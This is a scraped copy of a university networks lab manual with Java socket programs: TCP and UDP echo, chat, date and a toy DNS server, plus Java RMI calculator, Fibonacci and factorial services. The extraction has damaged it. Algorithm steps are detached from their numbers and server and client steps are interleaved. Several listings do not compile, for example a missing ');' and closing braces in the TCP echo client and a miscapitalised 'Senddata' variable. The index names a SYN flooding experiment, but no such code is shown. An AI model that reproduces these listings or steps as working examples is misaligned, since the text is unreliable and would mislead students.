Você está na página 1de 94

CS2307

NETWORKS LAB

LTPC 0032

1. Programs using TCP Sockets (like date and time server & client, echo server & client, etc.) 2. Programs using UDP Sockets (like simple DNS) 3. Programs using Raw sockets (like packet capturing and filtering) 4. Programs using RPC 5. Simulation of sliding window protocols Experiments using simulators (like OPNET) 6. Performance comparison of MAC protocols 7. Performance comparison of Routing protocols 8. Study of TCP/UDP performance

TOTAL: 45 PERIODS

CS2307 Network Lab

Socket Programming

INDEX

Exp# Name of the Experiment


TCP Sockets 1a 1b 1c 2a 2b 2c 3a 3b 4a 4b 4c 5a 5b 5c 5d TCP Echo Server/Client TCP Date Server/Client TCP Chat Server/Client UDP Sockets UDP Echo Server/Client UDP Chat Server/Client UDP DNS Server/Client Raw Sockets SYN Flooding Packet Capture Remote Procedure Call Basic Calculator Fibonacci Series Factorial Value Protocol Simulation GO Back N ARQ Selective Repeat ARQ ARP Server / Client RARP Server / Client

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

TCP Sockets
A socket is an endpoint of a two-way communication link between two programs running on the network. Socket is bound to a port number so that the TCP layer can identify the application that data is destined to be sent. User-level process/services generally use port number value 1024. TCP provides a reliable, point-to-point communication channel that client-server application on the Internet use to communicate with each other. Examples are FTP and Telnet. To communicate over TCP, a client program and a server program establish a connection to one another. Each program binds a socket to its end of the connection. A server runs on a specific computer and has a socket that is bound to a specific port number. The server waits, listening to the socket for a connection request from the client. On the client-side, the client knows the hostname of the machine on which the server is running and the port number on which the server is listening. To make a connection request, the client tries to make contact with the server on the server's machine and port. The client also needs to identify itself to the server so it binds to a local port number that it will use during this connection. If everything goes well, the server accepts the connection. Upon acceptance, the server gets a new socket bound to the same local port and also has its remote endpoint set to the address and port of the client. It needs a new socket so that it can continue to listen to the original socket for connection requests while tending to the needs of the connected client. On the client side, if the connection is accepted, a socket is successfully created and the client can use the socket to communicate with the server. The client and server can now communicate by writing to or reading through I/O streams from their sockets and eventually close it. The two key classes from the java.net package used in creation of server and client programs are: ServerSocket Socket

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

Exp# 1A Aim

TCP Echo Server/Client

To implement echo server and client in java using TCP sockets.

Algorithm

Server 1. 2. 3. 4. 5. 6. 7. 8. Client 1. 2. 3. 4. 5. 6. 7. 8. 9. Create a socket and establish connection with the server Get input from user. If equal to bye or null, then go to step 7. Send text to the server. Display the text echoed by the server Repeat steps 2-4 Close the I/O streams Close the client socket Stop Create a server socket. Wait for client to be connected. Read text from the client Echo the text back to the client. Repeat steps 4-5 until bye or null is read. Close the I/O streams Close the server socket Stop

Result Thus data from client to server is echoed back to the client to check reliability/noise level of the channel.

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

Program // TCP Echo Server--tcpechoserver.java import java.net.*; import java.io.*; public class tcpechoserver { public static void main(String[] arg) throws IOException { ServerSocket sock = null; BufferedReader fromClient = null; OutputStreamWriter toClient = null; Socket client = null; try { sock = new ServerSocket(4000); System.out.println("Server Ready"); client = sock.accept(); System.out.println("Client Connected"); fromClient = new BufferedReader(new InputStreamReader(client.getInputStream())); toClient = new OutputStreamWriter(client.getOutputStream()); String line; while (true) { line = fromClient.readLine(); if ( (line == null) || line.equals("bye")) break; System.out.println ("Client [ " + line + " ]"); toClient.write("Server [ "+ line +" ]\n"); toClient.flush(); } fromClient.close(); toClient.close(); client.close(); sock.close(); System.out.println("Client Disconnected"); } catch (IOException ioe) { System.err.println(ioe); } } }

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

//TCP Echo Client--tcpechoclient.java import java.net.*; import java.io.*; public class tcpechoclient { public static void main(String[] args) throws IOException { BufferedReader fromServer = null, fromUser = null; PrintWriter toServer = null; Socket sock = null; try { if (args.length == 0) sock = new Socket(InetAddress.getLocalHost(), 4000); else sock = new Socket(InetAddress.getByName(args[0]), 4000); fromServer = new BufferedReader(new InputStreamReader(sock.getInputStream())); fromUser = new BufferedReader(new InputStreamReader(System.in)); toServer = new PrintWriter(sock.getOutputStream(), true String Usrmsg, Srvmsg; System.out.println("Type \"bye\" to quit"); while (true) { System.out.print("Enter msg to server : "); Usrmsg = fromUser.readLine(); if (Usrmsg==null || Usrmsg.equals("bye")) { toServer.println("bye"); break; } else toServer.println(Usrmsg); Srvmsg = fromServer.readLine(); System.out.println(Srvmsg); } fromUser.close(); fromServer.close(); toServer.close(); sock.close(); } catch (IOException ioe) { System.err.println(ioe); }

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

Output Server Console $ javac tcpechoserver.java $ java tcpechoserver Server Ready Client Connected Client [ hello ] Client [ how are you ] Client [ i am fine ] Client [ ok ] Client Disconnected Client Console $ javac tcpechoclient.java $ java tcpechoclient Type "bye" to quit Enter msg to server : hello Server [ hello ] Enter msg to server : how are you Server [ how are you ] Enter msg to server : i am fine Server [ i am fine ] Enter msg to server : ok Server [ ok ] Enter msg to server : bye

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

Exp# 1B Aim

TCP Date Server/Client

To implement date server and client in java using TCP sockets. Algorithm Server 1. 2. 3. 4. 5. 6. 7. 8. Client 1. 2. 3. 4. 5. Create a client socket and establish connection with the server Display the date & time sent by the server Close the input and output streams Close the client socket Stop Create a server socket. Wait for client to be connected. Display the client details. Send servers date and time to the client Repeat steps 2-4 until the server is terminated Close all streams Close the server socket Stop

Result Thus every time a client connects to the server, servers date/time will be returned to the client for synchronization.

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

Program //TCP Date Server--tcpdateserver.java import java.net.*; import java.io.*; import java.util.*; class tcpdateserver { public static void main(String arg[]) { ServerSocket ss = null; Socket cs; PrintStream ps; BufferedReader dis; String inet; try { ss = new ServerSocket(4444); System.out.println("Press Ctrl+C to quit"); while(true) { cs = ss.accept(); ps = new PrintStream(cs.getOutputStream()); Date d = new Date(); ps.println(d); dis = new BufferedReader(new InputStreamReader(cs.getInputStream())); inet = dis.readLine(); System.out.println("Client System/IP address is :" + inet); ps.close(); dis.close(); } } catch(IOException e) { System.out.println("The exception is :" + e); } } }

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

// TCP Date Client--tcpdateclient.java import java.net.*; import java.io.*; class tcpdateclient { public static void main (String args[]) { Socket soc; BufferedReader dis; String sdate; PrintStream ps; try { InetAddress ia = InetAddress.getLocalHost(); if (args.length == 0) soc = new Socket(InetAddress.getLocalHost(),4444); else soc = new Socket(InetAddress.getByName(args[0]), 4444); dis = new BufferedReader(new InputStreamReader(soc.getInputStream())); sdate=dis.readLine(); System.out.println("The date/time on server is : " + sdate); ps = new PrintStream(soc.getOutputStream()); ps.println(ia); ps.close(); } catch(IOException e) { System.out.println("THE EXCEPTION is :" + e); } } }

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

Output

Server Console $ javac tcpdateserver.java $ java tcpdateserver Press Ctrl+C to quit Client System/IP address is : localhost.localdomain/127.0.0.1 Client System/IP address is : localhost.localdomain/127.0.0.1 Client Console $ javac tcpdateclient.java $ java tcpdateclient The date/time on server is : Wed Jul 04 07:12:03 GMT 2012 Client Console $ java tcpdateclient The date/time on server is : Wed Jul 04 07:19:48 GMT 2012

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

Exp# 1C Aim

TCP Chat Server/Client

To implement a chat server and client in java using TCP sockets. Algorithm Server 1. 2. 3. 4. 5. 6. 7. 8. Client 1. 2. 3. 4. 5. 6. 7. Create a client socket and establish connection with the server Get a message from user and send it to server Read server's response and display it Repeat steps 2-3 until chat is terminated with "end" message Close all input/output streams Close the client socket Stop Create a server socket Wait for client to be connected. Read Client's message and display it Get a message from user and send it to client Repeat steps 3-4 until the client sends "end" Close all streams Close the server and client socket Stop

Result Thus both the client and server exchange data using TCP socket programming.

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

Program // TCP Chat Server--tcpchatserver.java import java.io.*; import java.net.*; class tcpchatserver { public static void main(String args[])throws Exception { PrintWriter toClient; BufferedReader fromUser, fromClient; try { ServerSocket Srv = new ServerSocket(5555); System.out.print("\nServer started\n"); Socket Clt = Srv.accept(); System.out.println("Client connected"); toClient = new PrintWriter(new BufferedWriter(new OutputStreamWriter(Clt.getOutputStream())), true); fromClient = new BufferedReader(new InputStreamReader(Clt.getInputStream())); fromUser = new BufferedReader(new InputStreamReader(System.in)); String CltMsg, SrvMsg; while(true) { CltMsg= fromClient.readLine(); if(CltMsg.equals("end")) break; else { System.out.println("\nServer <<< " + CltMsg); System.out.print("Message to Client : "); SrvMsg = fromUser.readLine(); toClient.println(SrvMsg); } } System.out.println("\nClient Disconnected"); fromClient.close(); toClient.close(); fromUser.close(); Clt.close(); Srv.close(); } catch (Exception E) { System.out.println(E.getMessage()); } } }

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

// TCP Chat Client--tcpchatclient.java import java.io.*; import java.net.*; class tcpchatclient { public static void main(String args[])throws Exception { Socket Clt; PrintWriter toServer; BufferedReader fromUser, fromServer; try { if (args.length > 1) { System.out.println("Usage: java hostipaddr"); System.exit(-1); } if (args.length == 0) Clt = new Socket(InetAddress.getLocalHost(),5555); else Clt = new Socket(InetAddress.getByName(args[0]), 5555); toServer = new PrintWriter(new BufferedWriter(new OutputStreamWriter(Clt.getOutputStream())), true); fromServer = new BufferedReader(new InputStreamReader(Clt.getInputStream())); fromUser = new BufferedReader(new InputStreamReader(System.in)); String CltMsg, SrvMsg; System.out.println("Type \"end\" to Quit"); while (true) { System.out.print("\nMessage to Server : "); CltMsg = fromUser.readLine(); toServer.println(CltMsg); if (CltMsg.equals("end")) break; SrvMsg = fromServer.readLine(); System.out.println("Client <<< " + SrvMsg); } } catch(Exception E) { System.out.println(E.getMessage()); } } }

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

Output Server Console $ javac tcpchatserver.java $ java tcpchatserver Server started Client connected Server <<< hi Message to Client : hello Server <<< how r u? Message to Client : fine Server <<< me too Message to Client : bye Client Disconnected Client Console $ javac tcpchatclient.java $ java tcpchatclient Type "end" to Quit Message to Server : hi Client <<< hello Message to Server : how r u? Client <<< fine Message to Server : me too Client <<< bye Message to Server : end

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

UDP Sockets
TCP guarantees the delivery of packets and preserves their order on destination. Sometimes these features are not required, since they do not come without performance costs, it would be better to use a lighter transport protocol such as UDP (User Datagram Protocol). UDP is an unreliable protocol, i.e., it does not include software mechanisms for retrying on transmission failures or data corruption (unlike TCP), and has restrictions on message length (< 65536 bytes). Examples are NFS, DNS, SNMP, Clock Server, Ping, VoIP, online games etc. Unlike TCP there is no concept of a connection, UDP is a protocol that sends independent packets of data, called datagrams, from one computer to another with no guarantees about arrival and sequencing. No packet has any knowledge of the preceding or following packet. The recipient does not acknowledge packets, thereby the sender does not know whether the transmission was successful. The format of datagram packet is Message Length Host Server Port

A program can use a single UDP socket to communicate with more than one host and port number, but it is convenient for most UDP client programs to maintain the fiction that there is a connection, by keeping a local record of each server host and port number. A UDP server does not have to listen for and accept client connections, and a UDP client need not connect to a server. Java supports datagram communication through the following classes: DatagramPacket DatagramSocket The DatagramPacket object is the data container, while the DatagramSocket is the mechanism used to send or receive the DatagramPackets.

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

Exp# 2A Aim

UDP Echo Server/Client

To implement echo server and client in java using UDP sockets. Algorithm

Server 1. 2. 3. 4. 5. 6. 7. Client 1. 2. 3. 4. 5. 6. 7. 8. Create a datagram socket Get a message from user Construct a datagram packet and send it to server Create a datagram packet to receive echoed message Read server's response and display it Repeat steps 2-5 until there is some text to send Close the client socket Stop Create a datagram socket Receive client's message in a datagram packet. Read Client's message and display it Convert text from client to upper case and send it back to client Repeat steps 2-4 until the client has something to send Close the server socket Stop

Result Thus data from client to server is echoed in upper case to the client to check reliability of the channel.

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

Program // UDP Echo Server--UDPEchoServer.java import java.net.*; class UDPEchoServer { public static void main(String args[]) throws Exception { DatagramSocket SrvSoc = new DatagramSocket(7777); byte[] SData = new byte[1024]; System.out.println("Server Ready\n"); while (true) { byte[] RData = new byte[1024]; DatagramPacket RPack = new DatagramPacket(RData, RData.length); SrvSoc.receive(RPack); String Text = new String(RPack.getData()); if (Text.trim().length() > 0) { System.out.println("From Client <<< " + Text); InetAddress IPAddr = RPack.getAddress(); int Port = RPack.getPort(); SData = Text.toUpperCase().getBytes(); DatagramPacket SPack = new DatagramPacket(SData, SData.length, IPAddr, Port); SrvSoc.send(SPack); } else break; } System.out.println("\nClient Quits\n"); SrvSoc.close(); } }

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

// UDP Echo Client--UDPEchoClient.java import java.io.*; import java.net.*; class UDPEchoClient { public static void main(String args[]) throws Exception { BufferedReader br = new BufferedReader(new InputStreamReader(System.in)); DatagramSocket CliSoc = new DatagramSocket(); InetAddress IPAddr; String Text; if (args.length == 0) IPAddr = InetAddress.getLocalHost(); else IPAddr = InetAddress.getByName(args[0]); byte[] SData = new byte[1024]; System.out.println("To quit, press enter without text"); while (true) { System.out.print("\nEnter text for Server : "); Text = br.readLine(); SData = Text.getBytes(); DatagramPacket SPack = new DatagramPacket(SData, SData.length, IPAddr, 7777); CliSoc.send(SPack); if (Text.trim().length() == 0) break; byte[] RData = new byte[1024]; DatagramPacket RPack = new DatagramPacket(RData, RData.length); CliSoc.receive(RPack); String Echo = new String(RPack.getData()) ; Echo = Echo.trim(); System.out.println("Echo from Server <<< " + Echo); } CliSoc.close(); } }

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

Output

Server Console $ javac UDPEchoServer.java $ java UDPEchoServer Server Ready From Client <<< hello From Client <<< Where are u? From Client <<< Could you hear me Client Quits

Client Console $ javac UDPEchoClient.java $ java UDPEchoClient To quit press enter without text Enter text for Server : hello Echo from Server <<< HELLO Enter text for Server : Where are u? Echo from Server <<< WHERE ARE U? Enter text for Server : Could you hear me Echo from Server <<< COULD YOU HEAR ME Enter text for Server :

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

Exp# 2B

UDP Chat Server/Client

Aim To implement a chat server and client in java using UDP sockets. Algorithm

Server 1. Create two ports, server port and client port 2. Create a datagram socket and bind it to client port 3. Create a datagram packet to receive client message 4. Wait for client's data and accept it. 5. Read Client's message 6. Get data from user 7. Construct a datagram packet and send message through server port 8. Repeat steps 3-7 until the client has something to send 9. Close the server socket 10. Stop Client 1. 2. 3. 4. 5. 6. 7. 8. 9. Create two ports, server port and client port Create a datagram socket and bind it to server port Get data from user Create a datagram packet and send data with server ip address and client port Create a datagram packet to receive server message Read server's response and display it Repeat steps 3-6 until there is some text to send Close the client socket Stop

Result Thus both the client and server exchange data using UDP sockets.

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

Program // UDP Chat Server--udpchatserver.java import java.io.*; import java.net.*; class udpchatserver { public static int clientport = 8040,serverport = 8050; public static void main(String args[]) throws Exception { DatagramSocket SrvSoc = new DatagramSocket(clientport); byte[] SData = new byte[1024]; BufferedReader br = new BufferedReader(new InputStreamReader(System.in)); System.out.println("Server Ready"); while (true) { byte[] RData = new byte[1024]; DatagramPacket RPack = new DatagramPacket(RData, RData.length); SrvSoc.receive(RPack); String Text = new String(RPack.getData()); if (Text.trim().length() == 0) break; System.out.println("\nFrom Client <<< " + Text ); System.out.print("Msg to Cleint : " ); String srvmsg = br.readLine(); InetAddress IPAddr = RPack.getAddress(); SData = srvmsg.getBytes(); DatagramPacket SPack = new DatagramPacket(SData, SData.length, IPAddr, serverport); SrvSoc.send(SPack); } System.out.println("\nClient Quits\n"); SrvSoc.close(); } }

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

// UDP Chat Client--udpchatclient.java import java.io.*; import java.net.*; class udpchatclient { public static int clientport = 8040,serverport = 8050; public static void main(String args[]) throws Exception { BufferedReader br = new BufferedReader(new InputStreamReader (System.in)); DatagramSocket CliSoc = new DatagramSocket(serverport); InetAddress IPAddr; String Text; if (args.length == 0) IPAddr = InetAddress.getLocalHost(); else IPAddr = InetAddress.getByName(args[0]); byte[] SData = new byte[1024]; System.out.println("Press Enter without text to quit"); while (true) { System.out.print("\nEnter text for server : "); Text = br.readLine(); SData = Text.getBytes(); DatagramPacket SPack = new DatagramPacket(SData, SData.length, IPAddr, clientport ); CliSoc.send(SPack); if (Text.trim().length() == 0) break; byte[] RData = new byte[1024]; DatagramPacket RPack = new DatagramPacket(RData, RData.length); CliSoc.receive(RPack); String Echo = new String(RPack.getData()) ; Echo = Echo.trim(); System.out.println("From Server <<< " + Echo); } CliSoc.close(); } }

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

Output

Server Console $ javac udpchatserver.java $ java udpchatserver Server Ready From Client <<< are u the SERVER Msg to Cleint : yes From Client <<< what do u have to serve Msg to Cleint : no eatables Client Quits

Client Console $ javac udpchatclient.java $ java udpchatclient Press Enter without text to quit Enter text for server : are u the SERVER From Server <<< yes Enter text for server : what do u have to serve From Server <<< no eatables Enter text for server :

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

Exp# 2C

UDP DNS Server/Client

Aim To implement a DNS server and client in java using UDP sockets.

Algorithm Server 1. Define a array of hosts and its corresponding IP address in another array 2. Create a datagram socket 3. Create a datagram packet to receive client request 4. Read the domain name from client to be resolved 5. Lookup the host array for the domain name 6. If found then retrieve corresponding address 7. Construct a datagram packet to send response back to the client 8. Repeat steps 3-7 to resolve further requests from clients 9. Close the server socket 10. Stop Client 1. 2. 3. 4. 5. 6. 7. Create a datagram socket Get domain name from user Construct a datagram packet to send domain name to the server Create a datagram packet to receive server message If it contains IP address then display it, else display "Domain does not exist" Close the client socket Stop

Result Thus domain name requests by the client are resolved into their respective logical address using lookup method.

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

Program // UDP DNS Server -- udpdnsserver.java import java.io.*; import java.net.*; public class udpdnsserver { private static int indexOf(String[] array, String str) { str = str.trim(); for (int i=0; i < array.length; i++) { if (array[i].equals(str)) return i; } return -1; } public static void main(String arg[])throws IOException { String[] hosts = {"yahoo.com", "gmail.com", "cricinfo.com", "facebook.com"}; String[] ip = {"68.180.206.184", "209.85.148.19", "80.168.92.140", "69.63.189.16"}; System.out.println("Press Ctrl + C to Quit"); while (true) { DatagramSocket serversocket=new DatagramSocket(1362); byte[] senddata = new byte[1021]; byte[] receivedata = new byte[1021]; DatagramPacket recvpack = new DatagramPacket(receivedata, receivedata.length); serversocket.receive(recvpack); String sen = new String(recvpack.getData()); InetAddress ipaddress = recvpack.getAddress(); int port = recvpack.getPort(); String capsent; System.out.println("Request for host " + sen); if(indexOf (hosts, sen) != -1) capsent = ip[indexOf (hosts, sen)]; else capsent = "Host Not Found"; senddata = capsent.getBytes(); DatagramPacket pack = new DatagramPacket(senddata, senddata.length,ipaddress,port);

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

serversocket.send(pack); serversocket.close(); } } }

//UDP DNS Client -- udpdnsclient.java import java.io.*; import java.net.*; public class udpdnsclient { public static void main(String args[])throws IOException { BufferedReader br = new BufferedReader(new InputStreamReader(System.in)); DatagramSocket clientsocket = new DatagramSocket(); InetAddress ipaddress; if (args.length == 0) ipaddress = InetAddress.getLocalHost(); else ipaddress = InetAddress.getByName(args[0]); byte[] senddata = new byte[1024]; byte[] receivedata = new byte[1024]; int portaddr = 1362; System.out.print("Enter the hostname : "); String sentence = br.readLine(); Senddata = sentence.getBytes(); DatagramPacket pack = new DatagramPacket(senddata, senddata.length, ipaddress,portaddr); clientsocket.send(pack); DatagramPacket recvpack =new DatagramPacket(receivedata, receivedata.length); clientsocket.receive(recvpack); String modified = new String(recvpack.getData()); System.out.println("IP Address: " + modified); clientsocket.close(); } }

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

Output

Server Console $ javac udpdnsserver.java $ java udpdnsserver Press Ctrl + C to Quit Request for host yahoo.com Request for host cricinfo.com Request for host youtube.com

Client Console $ javac udpdnsclient.java $ java udpdnsclient Enter the hostname : yahoo.com IP Address: 68.180.206.184 $ java udpdnsclient Enter the hostname : cricinfo.com IP Address: 80.168.92.140 $ java udpdnsclient Enter the hostname : youtube.com IP Address: Host Not Found

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

Remote Procedure Calls (RPC)


RPC is a powerful technique for constructing distributed, client-server based applications. In this the called procedure need not exist in the same address space as the calling procedure. RPC is analogous to a function call. When a RPC is made, the calling arguments are passed to the remote procedure and the caller waits for a response to be returned from the remote procedure. RPC is designed to mitigate duplication issues by providing a common interface between applications. RPC is designed to make client/server interaction easier and safer by factoring out common tasks such as security, synchronization, and data flow handling into a common library, thereby saving developer's time and effort. RPC is implemented using Remote Method Invocation (RMI) in Java. RMI allows a Java object that executes on one machine to invoke a method of a Java object that executes on another machine. Java RMI provides the following elements: Remote object implementations. Client interfaces, or stubs, to remote objects. A remote object registry for finding objects on the network. A network protocol for communication between remote objects and their client (this protocol is JRMP, i.e. Java Remote Method Protocol). A facility for automatically creating remote objects on-demand. The 3 layers that comprise the basic remote-object communication facilities in RMI are: 1. The stub/skeleton layer, which provides the interface that client and server application objects use to interact with each other. 2. The remote reference layer, which is the middleware between the stub/skeleton layer and the underlying transport protocol. 3. The transport protocol layer, which is the binary data protocol that sends remote object requests over the wire. With RMI, a reference to an object that lives in a remote process on remote hosts can be obtained and invoke methods on it as if it were a local object running within the same JVM. Each remote object implements a remote interface that specifies which of its methods can be invoked by clients. RMI handles all the underlying networking needed to make your remote method calls work. If an object is supplied as an argument to that remote method, the sending machine serializes the object and transmits it. The receiving machine deserializes it.

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

Exp# 4A

Simple Calculator

Aim To implement simple calculator on a remote host and invoke operations from a client.

Algorithm Interface Declare server's remote interface for simple arithmetic operations Implementation Define the basic arithmetic operations Server 1. Create a calculator object 2. Register the object with the RMI registry on the server machine Client 1. 2. 3. Obtain operands from the user Call arithmetic operations on the remote server Display result of the arithmetic operations.

Procedure 1. 2. 3. 4. 5. 6. Result Thus remote procedure calls for basic operations of a calculator is executed using Java RMI. Compile the four java files (Interface, Implementation, Server and Client) Generate stub by compiling the implementation file using RMI compiler (rmic) Distribute the class files of Client, Interface and Stub to the clients Start the RMI registry on the server Start the server Call procedures that exist on the remote host from client machine.

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

Program // Declares remote method interfaces--CalcInf.java import java.rmi.*; public interface CalcInf extends Remote { public long add(int a, int b) throws public int sub(int a, int b) throws public long mul(int a, int b) throws public int div(int a, int b) throws public int rem(int a, int b) throws }

RemoteException; RemoteException; RemoteException; RemoteException; RemoteException;

// Implement Remote behavior--CalcImpl.java import java.rmi.*; import java.rmi.server.*; public class CalcImpl extends UnicastRemoteObject implements CalcInf { public CalcImpl() throws RemoteException { } public long add(int a, int b) throws RemoteException { return a + b; } public int sub(int a, int b) throws RemoteException { int c = a > b ? a - b : b - a; return c; } public long mul(int a, int b) throws RemoteException { return a * b; } public int div(int a, int b) throws RemoteException { return a / b; } public int rem(int a, int b) throws RemoteException { return a % b; } }

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

// Server that names the service implemented--CalcServer.java import java.rmi.*; public class CalcServer { public static void main(String args[]) { try { CalcInf C = new CalcImpl(); Naming.rebind("CalcService", C); } catch (Exception e) { System.out.println(e.getMessage()); } } } // Client that invokes remote host methods--CalcClient.java import java.rmi.*; import java.net.*; public class CalcClient { public static void main(String[] args) throws Exception { try { CalcInf C = (CalcInf) Naming.lookup("rmi://" + args[0] + "/CalcService"); int a, b; if (args.length != 3) { System.out.println("Usage: java CalcClient <remoteip> <operand1> <operand2>"); System.exit(-1); } a = Integer.parseInt(args[1]); b = Integer.parseInt(args[2]); System.out.println( "\nBasic Remote Calc\n" ); System.out.println("Summation : " + C.add(a, b)); System.out.println("Difference : " + C.sub(a, b)); System.out.println("Product : " + C.mul(a, b)); System.out.println("Quotient : " + C.div(a, b)); System.out.println("Remainder : " + C.rem(a, b)); } catch (Exception E) { System.out.println(E.getMessage()); } } }

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

Output

Server C:\>javac CalcInf.java C:\>javac CalcImpl.java C:\>javac CalcServer.java C:\>javac CalcClient.java C:\>rmic CalcImpl C:\>start rmiregistry C:\>java CalcServer

Client C:\>java CalcClient 172.16.6.45 6 8 Basic Remote Calc Summation Difference Product Quotient Remainder : : : : : 14 2 48 0 6

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

Exp# 4B

Fibonacci Series

Aim To implement fibonacci series on a remote host and generate terms onto a client.

Algorithm Interface Declare server's remote interface for Fibonacci series generation Implementation Define the procedure for fibonacci series (new term = sum of last two terms) Server 1. Create a interface object 2. Register the object with the RMI registry on the server machine Client 1. 2. 3. Obtain number of terms from the user Call fibonacci series that exist on the remote server Display the generated fibonacci terms.

Procedure 1. 2. 3. 4. 5. 6. Compile the four java files (Interface, Implementation, Server and Client) Generate stub by compiling the implementation file using RMI compiler (rmic) Distribute the class files of Client, Interface and Stub to the client machines Start the RMI registry on the server Start the server Call procedures that exist on the remote host from client machine.

Result Thus remote procedure call for fibonacci series generation is executed using Java RMI.

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

Program // remote method interface--FiboIntf.java import java.rmi.*; public interface FiboIntf extends Remote { int[] fiboseries(int n)throws RemoteException; }

//Remote behaviour implementation--FiboImpl.java import java.rmi.*; import java.rmi.server.*; public class FiboImpl extends UnicastRemoteObject implements FiboIntf { public FiboImpl() throws RemoteException { } public int[] fiboseries(int n)throws RemoteException { int f1 = 0, f2 = 1, f3, i; int arr[]= new int[25]; arr[0] = f1; arr[1] = f2; for(i=2; i<n; i++) { f3 = f1 + f2; arr[i] = f3; f1 = f2; f2 = f3; } return(arr); } } //Server that registers the service--FiboServer.java import java.rmi.*; public class FiboServer { public static void main(String arg[]) { try { FiboIntf Fi = new FiboImpl(); Naming.rebind("FiboGen", Fi); }

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

catch(Exception e) { System.out.println(e.getMessage()); } } }

// Client that invokes remote host methods--FiboClient.java import java.rmi.*; import java.net.*; public class FiboClient { public static void main(String args[]) { try { FiboIntf Fi = (FiboIntf) Naming.lookup("rmi://" + args[0] + "/FiboGen"); if (args.length != 2) { System.out.println("Usage: java FiboClient <remoteip> <terms>"); System.exit(-1); } int n = Integer.parseInt(args[1]); int a[]=Fi.fiboseries(n); System.out.print("\nFibonacci Series for " + n + " terms : "); for(int i=0; i<n; i++) System.out.print(a[i] + " "); } catch(Exception e) { System.out.println(e.getMessage()); } } }

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

Output

Server C:\>javac FiboIntf.java C:\>javac FiboImpl.java C:\>javac FiboServer.java C:\>javac FiboClient.java C:\>rmic FiboImpl C:\>start rmiregistry C:\>java FiboServer

Client C:\>java FiboClient 172.16.6.45 8 Fibonacci Series for 8 terms : 0 1 1 2 3 5 8 13

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

Exp# 4C

Factorial Value

Aim To implement factorial on a remote host and obtain its value from a client.

Algorithm Interface Declare server's remote interface for Factorial method Implementation Define the procedure for factorial (n! = n (n-1) 1) Server 1. Create a interface object 2. Register the object with the RMI registry on the server machine Client 1. 2. 3. Obtain number from the user Call the remote factorial method Display factorial value.

Procedure 1. 2. 3. 4. 5. 6. Compile the four java files (Interface, Implementation, Server and Client) Generate stub by compiling the implementation file using RMI compiler (rmic) Distribute the class files of Client, Interface and Stub to the client machines Start the RMI registry on the server Start the server Call procedures that exist on the remote host from client machine.

Result Thus remote procedure call to determine factorial value is executed using Java RMI.

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

Program // remote method interface--FactIntf.java import java.rmi.*; public interface FactIntf extends Remote { long factorial(int n)throws RemoteException; }

//Remote behaviour implementation--FactImpl.java import java.rmi.*; import java.rmi.server.*; public class FactImpl extends UnicastRemoteObject implements FactIntf { public FactImpl() throws RemoteException { } public long factorial(int n)throws RemoteException { long f = 1; for(int i=n; i>0; i--) f *= i; return f; } }

//Server that registers the service--FactServer.java import java.rmi.*; public class FactServer { public static void main(String arg[]) { try { FactIntf Fa = new FactImpl(); Naming.rebind("FactService", Fa); } catch(Exception e) { System.out.println(e.getMessage()); } } }

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

// Client that invokes remote host methods--FactClient.java import java.rmi.*; import java.net.*; public class FactClient { public static void main(String args[]) { try { FactIntf Fa = (FactIntf) Naming.lookup("rmi://" + args[0] + "/FactService"); if (args.length != 2) { System.out.println("Usage: java FactClient <remoteip> <number>"); System.exit(-1); } int n = Integer.parseInt(args[1]); long factval = Fa.factorial(n); System.out.print("\n" + n + " Factorial value is " + factval); } catch(Exception e) { System.out.println(e.getMessage()); } } }

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

Output

